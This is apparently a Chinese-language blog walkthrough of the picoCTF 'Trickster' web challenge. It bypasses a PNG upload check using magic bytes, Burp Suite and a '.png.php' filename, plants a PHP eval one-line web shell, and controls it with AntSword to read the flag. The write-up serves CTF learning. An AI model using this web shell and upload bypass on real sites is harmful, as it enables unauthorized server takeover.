picoCTF-Web Exploitation-Trickster

Description

I found a web app that can help process images: PNG images only!

这应该是个上传漏洞了,十几年没用过了,不知道思路是不是一样的,以前的思路是通过上传漏洞想办法上传一个木马,拿到webshell,今天试试看能不能成功。

随便翻一翻源码没有找到什么有用的信息,只找到一个robots.txt(这还是最近才学到的给Google提供的map文件)
robots.txt发现如下信息

复制代码
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/

有一个/uploads/文件夹这里应该就是文件上传后的地址了

/instructions.txt文件信息如下,大意是提交时验证.png 扩展名,然后还要验证文件字节的正确性

复制代码
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.

那我i们就试一试,上传一个非png文件提示需要.png后缀,把非png文件后缀改为.png发现后端也有有文件头验证,可能这就是/instructions.txt 所说

随便制作一个png图片(直接截图保存),越小越好,便于我们查看修改文件信息,上传png图片

使用Burpsuite抓包,查看请求信息Content-Type: image/png 这应该就是后端的验证关键了吧

修改png文件信息,加上PHP一句话木马,修改一下filename后缀加上.php,(这里后缀的验证是前端js做的,用Burpsuite发送请求就不必考虑后缀的验证问题了)

如图返回上传成功

php 复制代码
<?php @eval($_POST['hucker']);?>

接下来我们使用中国蚁剑连接木马地址,以前用菜刀,管理webshell,爬取网站文件信息挺好用的,百度找到一个中国蚁剑就决定试试,看介绍好像也是根据菜刀改的。这种黑客软件最好是去github下载原版,可以验证MD5,毕竟是开源的东西,一般不会存在后门。

连接我们的木马,前面我们通过robots.txt看到文件上传目录是uploads,组合一下得到地址[http://atlas.picoctf.net:49226/uploads/2.png.php],输入密码hucker 连接

直接查看网站文件,找到一个GAZWIMLEGU2DQ.txt 里面就是flag了

相关推荐
JaguarJack8 小时前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo8 小时前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack1 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo1 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack2 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay3 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954483 天前
CTF 伪协议
php
BingoGo5 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack5 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo6 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php